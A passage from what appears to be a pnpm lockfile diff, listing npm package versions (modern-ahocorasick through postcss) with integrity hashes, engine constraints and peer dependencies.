{integrity: sha512-l8D9ODSRWLe2KHJSifWGwBqpTZXIXTeo8mlKjY+E2HAakaTeNpqAyBZ8GSqLzHgw4XmHmC8whvpjJNMbFZN7/g==} - - modern-ahocorasick@1.1.0: - resolution: {integrity: sha512-sEKPVl2rM+MNVkGQt3ChdmD8YsigmXdn5NifZn6jiwn9LRJpWm8F3guhaqrJT/JOat6pwpbXEk6kv+b9DMIjsQ==} - - monaco-editor@0.55.1: - resolution: {integrity: sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A==} - - morgan@1.10.1: - resolution: {integrity: sha512-223dMRJtI/l25dJKWpgij2cMtywuG/WiUKXdvwfbhGKBhy1puASqXwFzmWZ7+K73vUPoR7SS2Qz2cI/g9MKw0A==} - engines: {node: '>= 0.8.0'} - - mri@1.2.0: - resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==} - engines: {node: '>=4'} - - mrmime@1.0.1: - resolution: {integrity: sha512-hzzEagAgDyoU1Q6yg5uI+AorQgdvMCur3FcKf7NhMKWsaYg+RnbTyHRa/9IlLF9rf455MOCtcqqrQQ83pPP7Uw==} - engines: {node: '>=10'} - - ms@2.0.0: - resolution: {integrity: sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==} - - ms@2.1.3: - resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} - - nanoid@3.3.11: - resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==} - engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} - hasBin: true - - natural-compare@1.4.0: - resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==} - - negotiator@0.6.3: - resolution: {integrity: sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==} - engines: {node: '>= 0.6'} - - negotiator@0.6.4: - resolution: {integrity: sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==} - engines: {node: '>= 0.6'} - - node-exports-info@1.6.0: - resolution: {integrity: sha512-pyFS63ptit/P5WqUkt+UUfe+4oevH+bFeIiPPdfb0pFeYEu/1ELnJu5l+5EcTKYL5M7zaAa7S8ddywgXypqKCw==} - engines: {node: '>= 0.4'} - - node-releases@2.0.27: - resolution: {integrity: sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==} - - normalize-package-data@5.0.0: - resolution: {integrity: sha512-h9iPVIfrVZ9wVYQnxFgtw1ugSvGEMOlyPWWtm8BMJhnwyEL/FLbYbTY3V3PpjI/BUK67n9PEWDu6eHzu1fB15Q==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - normalize-path@3.0.0: - resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} - engines: {node: '>=0.10.0'} - - normalize-url@6.1.0: - resolution: {integrity: sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==} - engines: {node: '>=10'} - - npm-install-checks@6.3.0: - resolution: {integrity: sha512-W29RiK/xtpCGqn6f3ixfRYGk+zRyr+Ew9F2E20BfXxT5/euLdA/Nm7fO7OeTGuAmTs30cpgInyJ0cYe708YTZw==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - npm-normalize-package-bin@3.0.1: - resolution: {integrity: sha512-dMxCf+zZ+3zeQZXKxmyuCKlIDPGuv8EF940xbkC4kQVDTtqoh6rJFO+JTKSA6/Rwi0getWmtuy4Itup0AMcaDQ==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - npm-package-arg@10.1.0: - resolution: {integrity: sha512-uFyyCEmgBfZTtrKk/5xDfHp6+MdrqGotX/VoOyEEl3mBwiEE5FlBaePanazJSVMPT7vKepcjYBY2ztg9A3yPIA==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - npm-pick-manifest@8.0.2: - resolution: {integrity: sha512-1dKY+86/AIiq1tkKVD3l0WI+Gd3vkknVGAggsFeBkTvbhMQ1OND/LKkYv4JtXPKUJ8bOTCyLiqEg2P6QNdK+Gg==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - npm-run-path@4.0.1: - resolution: {integrity: sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==} - engines: {node: '>=8'} - - nth-check@2.1.1: - resolution: {integrity: sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==} - - object-assign@4.1.1: - resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} - engines: {node: '>=0.10.0'} - - object-inspect@1.13.4: - resolution: {integrity: sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==} - engines: {node: '>= 0.4'} - - object-keys@1.1.1: - resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==} - engines: {node: '>= 0.4'} - - object.assign@4.1.7: - resolution: {integrity: sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==} - engines: {node: '>= 0.4'} - - object.entries@1.1.9: - resolution: {integrity: sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==} - engines: {node: '>= 0.4'} - - object.fromentries@2.0.8: - resolution: {integrity: sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==} - engines: {node: '>= 0.4'} - - object.values@1.2.1: - resolution: {integrity: sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==} - engines: {node: '>= 0.4'} - - on-finished@2.3.0: - resolution: {integrity: sha512-ikqdkGAAyf/X/gPhXGvfgAytDZtDbr+bkNUJ0N9h5MI/dmdgCs3l6hoHrcUv41sRKew3jIwrp4qQDXiK99Utww==} - engines: {node: '>= 0.8'} - - on-finished@2.4.1: - resolution: {integrity: sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==} - engines: {node: '>= 0.8'} - - on-headers@1.1.0: - resolution: {integrity: sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A==} - engines: {node: '>= 0.8'} - - once@1.4.0: - resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} - - onetime@5.1.2: - resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} - engines: {node: '>=6'} - - optionator@0.9.4: - resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==} - engines: {node: '>= 0.8.0'} - - ora@5.4.1: - resolution: {integrity: sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==} - engines: {node: '>=10'} - - outdent@0.8.0: - resolution: {integrity: sha512-KiOAIsdpUTcAXuykya5fnVVT+/5uS0Q1mrkRHcF89tpieSmY33O/tmc54CqwA+bfhbtEfZUNLHaPUiB9X3jt1A==} - - own-keys@1.0.1: - resolution: {integrity: sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==} - engines: {node: '>= 0.4'} - - p-finally@1.0.0: - resolution: {integrity: sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==} - engines: {node: '>=4'} - - p-limit@3.1.0: - resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} - engines: {node: '>=10'} - - p-locate@5.0.0: - resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==} - engines: {node: '>=10'} - - p-map@4.0.0: - resolution: {integrity: sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==} - engines: {node: '>=10'} - - p-queue@6.6.2: - resolution: {integrity: sha512-RwFpb72c/BhQLEXIZ5K2e+AhgNVmIejGlTgiB9MzZ0e93GRvqZ7uSi0dvRF7/XIXDeNkra2fNHBxTyPDGySpjQ==} - engines: {node: '>=8'} - - p-timeout@3.2.0: - resolution: {integrity: sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==} - engines: {node: '>=8'} - - package-json-from-dist@1.0.1: - resolution: {integrity: sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==} - - pako@0.2.9: - resolution: {integrity: sha512-NUcwaKxUxWrZLpDG+z/xZaCgQITkA/Dv4V/T6bw7VON6l1Xz/VnrBqrYjZQ12TamKHzITTfOEIYUj48y2KXImA==} - - parent-module@1.0.1: - resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} - engines: {node: '>=6'} - - parse-entities@4.0.2: - resolution: {integrity: sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==} - - parse-ms@2.1.0: - resolution: {integrity: sha512-kHt7kzLoS9VBZfUsiKjv43mr91ea+U05EyKkEtqp7vNbHxmaVuEqN7XxeEVnGrMtYOAxGrDElSi96K7EgO1zCA==} - engines: {node: '>=6'} - - parseurl@1.3.3: - resolution: {integrity: sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==} - engines: {node: '>= 0.8'} - - path-exists@4.0.0: - resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} - engines: {node: '>=8'} - - path-is-absolute@1.0.1: - resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==} - engines: {node: '>=0.10.0'} - - path-key@3.1.1: - resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} - engines: {node: '>=8'} - - path-parse@1.0.7: - resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} - - path-scurry@1.11.1: - resolution: {integrity: sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==} - engines: {node: '>=16 || 14 >=14.18'} - - path-to-regexp@0.1.12: - resolution: {integrity: sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==} - - path-type@4.0.0: - resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} - engines: {node: '>=8'} - - pathe@1.1.2: - resolution: {integrity: sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==} - - pathe@2.0.3: - resolution: {integrity: sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==} - - peek-stream@1.1.3: - resolution: {integrity: sha512-FhJ+YbOSBb9/rIl2ZeE/QHEsWn7PqNYt8ARAY3kIgNGOk13g9FGyIY6JIl/xB/3TFRVoTv5as0l11weORrTekA==} - - periscopic@3.1.0: - resolution: {integrity: sha512-vKiQ8RRtkl9P+r/+oefh25C3fhybptkHKCZSPlcXiJux2tJF55GnEj3BVn4A5gKfq9NWWXXrxkHBwVPUfH0opw==} - - picocolors@1.1.1: - resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} - - picomatch@2.3.1: - resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} - engines: {node: '>=8.6'} - - picomatch@4.0.3: - resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} - engines: {node: '>=12'} - - pidtree@0.6.0: - resolution: {integrity: sha512-eG2dWTVw5bzqGRztnHExczNxt5VGsE6OwTeCG3fdUf9KBsZzO3R5OIIIzWR+iZA0NtZ+RDVdaoE2dK1cn6jH4g==} - engines: {node: '>=0.10'} - hasBin: true - - pify@5.0.0: - resolution: {integrity: sha512-eW/gHNMlxdSP6dmG6uJip6FXN0EQBwm2clYYd8Wul42Cwu/DK8HEftzsapcNdYe2MfLiIwZqsDk2RDEsTE79hA==} - engines: {node: '>=10'} - - pkg-types@1.3.1: - resolution: {integrity: sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ==} - - pkg-types@2.3.0: - resolution: {integrity: sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig==} - - playwright-core@1.58.2: - resolution: {integrity: sha512-yZkEtftgwS8CsfYo7nm0KE8jsvm6i/PTgVtB8DL726wNf6H2IMsDuxCpJj59KDaxCtSnrWan2AeDqM7JBaultg==} - engines: {node: '>=18'} - hasBin: true - - playwright@1.58.2: - resolution: {integrity: sha512-vA30H8Nvkq/cPBnNw4Q8TWz1EJyqgpuinBcHET0YVJVFldr8JDNiU9LaWAE1KqSkRYazuaBhTpB5ZzShOezQ6A==} - engines: {node: '>=18'} - hasBin: true - - possible-typed-array-names@1.1.0: - resolution: {integrity: sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==} - engines: {node: '>= 0.4'} - - postcss-calc@8.2.4: - resolution: {integrity: sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==} - peerDependencies: - postcss: ^8.2.2 - - postcss-colormin@5.3.1: - resolution: {integrity: sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-convert-values@5.1.3: - resolution: {integrity: sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-discard-comments@5.1.2: - resolution: {integrity: sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-discard-duplicates@5.1.0: - resolution: {integrity: sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-discard-empty@5.1.1: - resolution: {integrity: sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-discard-overridden@5.1.0: - resolution: {integrity: sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-load-config@3.1.4: - resolution: {integrity: sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==} - engines: {node: '>= 10'} - peerDependencies: - postcss: '>=8.0.9' - ts-node: '>=9.0.0' - peerDependenciesMeta: - postcss: - optional: true - ts-node: - optional: true - - postcss-load-config@4.0.2: - resolution: {integrity: sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==} - engines: {node: '>= 14'} - peerDependencies: - postcss: '>=8.0.9' - ts-node: '>=9.0.0' - peerDependenciesMeta: - postcss: - optional: true - ts-node: - optional: true - - postcss-merge-longhand@5.1.7: - resolution: {integrity: sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-merge-rules@5.1.4: - resolution: {integrity: sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-minify-font-values@5.1.0: - resolution: {integrity: sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-minify-gradients@5.1.1: - resolution: {integrity: sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-minify-params@5.1.4: - resolution: {integrity: sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-minify-selectors@5.2.1: - resolution: {integrity: sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-modules-extract-imports@3.1.0: - resolution: {integrity: sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==} - engines: {node: ^10 || ^12 || >= 14} - peerDependencies: - postcss: ^8.1.0 - - postcss-modules-local-by-default@4.2.0: - resolution: {integrity: sha512-5kcJm/zk+GJDSfw+V/42fJ5fhjL5YbFDl8nVdXkJPLLW+Vf9mTD5Xe0wqIaDnLuL2U6cDNpTr+UQ+v2HWIBhzw==} - engines: {node: ^10 || ^12 || >= 14} - peerDependencies: - postcss: ^8.1.0 - - postcss-modules-scope@3.2.1: - resolution: {integrity: sha512-m9jZstCVaqGjTAuny8MdgE88scJnCiQSlSrOWcTQgM2t32UBe+MUmFSO5t7VMSfAf/FJKImAxBav8ooCHJXCJA==} - engines: {node: ^10 || ^12 || >= 14} - peerDependencies: - postcss: ^8.1.0 - - postcss-modules-values@4.0.0: - resolution: {integrity: sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==} - engines: {node: ^10 || ^12 || >= 14} - peerDependencies: - postcss: ^8.1.0 - - postcss-modules@4.3.1: - resolution: {integrity: sha512-ItUhSUxBBdNamkT3KzIZwYNNRFKmkJrofvC2nWab3CPKhYBQ1f27XXh1PAPE27Psx58jeelPsxWB/+og+KEH0Q==} - peerDependencies: - postcss: ^8.0.0 - - postcss-modules@6.0.1: - resolution: {integrity: sha512-zyo2sAkVvuZFFy0gc2+4O+xar5dYlaVy/ebO24KT0ftk/iJevSNyPyQellsBLlnccwh7f6V6Y4GvuKRYToNgpQ==} - peerDependencies: - postcss: ^8.0.0 - - postcss-normalize-charset@5.1.0: - resolution: {integrity: sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-normalize-display-values@5.1.0: - resolution: {integrity: sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-normalize-positions@5.1.1: - resolution: {integrity: sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-normalize-repeat-style@5.1.1: - resolution: {integrity: sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-normalize-string@5.1.0: - resolution: {integrity: sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-normalize-timing-functions@5.1.0: - resolution: {integrity: sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-normalize-unicode@5.1.1: - resolution: {integrity: sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-normalize-url@5.1.0: - resolution: {integrity: sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-normalize-whitespace@5.1.1: - resolution: {integrity: sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-ordered-values@5.1.3: - resolution: {integrity: sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-reduce-initial@5.1.2: - resolution: {integrity: sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-reduce-transforms@5.1.0: - resolution: {integrity: sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-selector-parser@6.1.2: - resolution: {integrity: sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==} - engines: {node: '>=4'} - - postcss-selector-parser@7.1.1: - resolution: {integrity: sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==} - engines: {node: '>=4'} - - postcss-svgo@5.1.0: - resolution: {integrity: sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-unique-selectors@5.1.1: - resolution: {integrity: sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - postcss-value-parser@4.2.0: - resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} - - postcss@8.5.8: - resolution: {integrity: 